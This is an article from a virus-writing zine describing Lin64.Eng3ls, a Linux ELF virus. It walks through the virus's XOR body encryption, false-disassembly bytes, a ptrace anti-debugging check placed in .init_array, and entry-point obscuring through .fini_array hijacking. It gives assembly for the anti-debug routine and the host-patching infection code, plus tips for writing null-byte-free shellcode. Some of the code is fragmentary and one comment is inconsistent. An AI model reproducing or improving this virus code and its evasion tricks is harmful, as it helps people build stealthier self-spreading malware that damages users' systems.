▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
                                                            │ █   █ █ █ █   █       │
                                                            │ █   █ █ █ █▀▀▀▀       │
                                                            │ █   █   █ █     ▄     │
                                                            │                 ▄▄▄▄▄ │
                                                            │                 █   █ │
                                                            │                 █   █ │
                                                            │                 █▄▄▄█ │
                                                            │                 ▄   ▄ │
                                                            │                 █   █ │
                                                            │                 █   █ │
                                                            │                 █▄▄▄█ │
                                                            │                 ▄▄▄▄▄ │
                                                            │                   █   │
Lin64.Eng3ls: Some anti-RE techniques in a Linux virus      │                   █   │
~ S01den & sblip                                            └───────────────────█ ──┘

Written with love by S01den.
mail: S01den@protonmail.com

--- Introduction ---

With Sblip, we worked during a whole week-end on Lin64.Eng3ls for a private event.
Eng3ls is basically Lin64.Kropotkine[0], the infection method is still the same good
old PT_NOTE to PT_LOAD segment, but we added some obfuscation techniques.

Indeed, Kropotkin isn't stealth at all: the entrypoint of infected binaries is
modified to directly point to the virus and the viral code is clear (so easy to

To solve these problems, we made a oligomorphic xor decryptor/encryptor (not fancy at
all I know...) for the virus body, the key changing in every new infected binary so
that every replicated code is different.

However this poor man's polymorphism has the great disavantage that the decryptor's
code doesn't change.

Thus, without more witchcraft, a reverser would understand very quickly how the
virus is encrypted, and what it does.

That's why I've implemented for the first time in one of my virus, the polymorphic
false-disassembly technique (or simply "fake polymorphism") in order to obfuscate
the decryptor.

Check the paper I wrote about this technique to see how it works and the results!
(basically turn the page of the zine)

But there was still a problem: the entrypoint of infected binaries directly points
to the virus, that's not stealth at all!
Let's see how we've solved this...

--- An Entry-Point Obscuring Technique for ELF ---

/!\ This technique doesn't work with PIE binaries /!\

Entrypoint Obscuring is simply the action, for a virus, to hide the address of it's
first instruction.

In non-EPO viruses, the entrypoint of an infected program is modified to point to 
the beginning of the virus, whereas in EPO viruses, the virus is called in another
way, whether by hiding a jump in the host's code or by, like here, abusing a 
specificity of the executable file format.

In ELFs the entrypoint is, in fact, not the first address to be executed when the 
program is run.

There is some glibc initialization routines, which ultimately load main().

I won't explain in details how it works, there is already a cool paper about[1].
Just keep in mind that we'll hijack the sections .init_array and .fini_array, which
respectively contains a pointer to the constructor and a pointer to the destructor
of the binary.

Thus, the address of the code located in .init_array is executed before the 
EntryPoint. That's exactly the kind of thing we wanted to have!

I chose to implement a tiny anti-debugging technique first, a ptrace check to see if
the current process is traced (so debugged or straced) or not.
The classical "if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) exit(0);"...
Easy to bypass (patch the virus or set rax = 0 in gdb at the comparaison)...
So I made it "hard" (not really) to detect!

------------------------- CUT-HERE --------------------------------------------------
    push rbp
    mov rbp, rsp

    jmp jmp_over4+2
      db `\x41\xba` ; false disassembly
    mov rax, 101 ; sys_ptrace
    xor rdi, rdi ; PTRACE_TRACEME
    xor rsi, rsi
    xor r10, r10
    xor rdx, rdx
    inc rdx
    jmp jmp_over6+2
      db `\xe9\x94` ; false disassembly

    jmp jmp_over5+2
      db `\x49\x81` ; false disassembly
    cmp rax, 0
    jge continue
    mov rax, 60
    xor rdi, rdi

    pop rbp

I wrote some false-disassembly bytes (changing at ever new infection) in the routine
and I made it called before main() by abusing .init_array.
Thus, if debugged, the virus stops its execution, even with a breakpoint on the

Concerning the virus in itself, I made it called at the end, by abusing .fini_array.
Here is the routines I wrote for parsing the section header table in the search
of .init_array and .fini_array, and for patching them.

------------------------- CUT-HERE --------------------------------------------------
  xor rcx, rcx
  xor rdx, rdx
  mov cx, word [rax+e_hdr.shnum]     ; rcx = # of entries in the program header table
  mov rbx, qword [rax+e_hdr.shoff]   ; rbx = offset of the program header table
  mov dx, word [rax+e_hdr.shentsize] ; rdx = size of a program header table entry

    add rbx, rdx
    dec rcx
    cmp dword [rax+rbx+e_shdr.type], 0x0E ; 0x0F = SHT_INIT_ARRAY, the section we're 
                                          ; looking to modify to put the debugging 
                                          ; check (.init_array)
    je ctor_found
    cmp dword [rax+rbx+e_shdr.type], 0x0F ; 0x0F = SHT_FINI_ARRAY, the section we're 
                                          ; looking to modify to EPO (.fini_array)
    je dtor_found
    cmp rcx, 0
    jg loop_shdr

  mov rdi, qword [rax+rbx+e_shdr.offset]
  mov [rax+rdi], r9 ; r9 holds the addr of the converted segment, the one where we
                    ; are writing the virus
  jmp write_vx

  mov rdi, qword [rax+rbx+e_shdr.offset]
  add r9, 0x86 ; r9+0x86 = the addr where check_dbg begins
  mov [rax+rdi], r9
  sub r9, 0x86
  jmp loop_shdr

--- Conclusion ---

Entrypoint modification is lame, use EntryPoint Obscuring tricks such as .init_array
or .fini_array hijacking instead.

Add some funny anti-RE tricks to spice your viruses: a pinch of encryption here, a
spoonful of debugger detection over there...

I hope you enjoyed this article and that you learned something.

If you want to go further, I wrote a crackme using the same anti-reverse-engineering
techniques that eng3ls uses.

Check that here: https://crackmes.one/crackme/6049f27f33c5d42c3d016dea

--- Bonus ---

I wrote a null-byte free version of this virus.
Null-byte free code + Position Independent = shellcode \o/
So here is a shellcode version of the virus:

unsigned char shellcode[] = 

Don't be stupid, don't spread this shit into the wild.
We don t take responsibility for what you do with this

--> two techniques to write nullbytes-free codes:

1) Replace mov instructions by push.

b809000000     mov eax, 9  ----> 6a09 push 0x9
                                 58   pop rax
2) The add/sub technique:
Sometimes the values you add to a register involves nullbytes.
You can remove them by adding and subbing a garbage value.

4881c4890300  add rsp, 0x389  ----> 4881c4e8c311  add rsp, 0x1111c3e8
          ^                         // 0x1111c3e8 = 0x389 + 0x1111c0de
                                    4881ecdec011  sub rsp, 0x1111c0de

--- Notes and References ---
[0] https://github.com/vxunderground/MalwareSourceCode
[1] Abusing .CTORS and .DTORS for fun 'n profit

--- Source ---

- Linux.Eng3ls.asm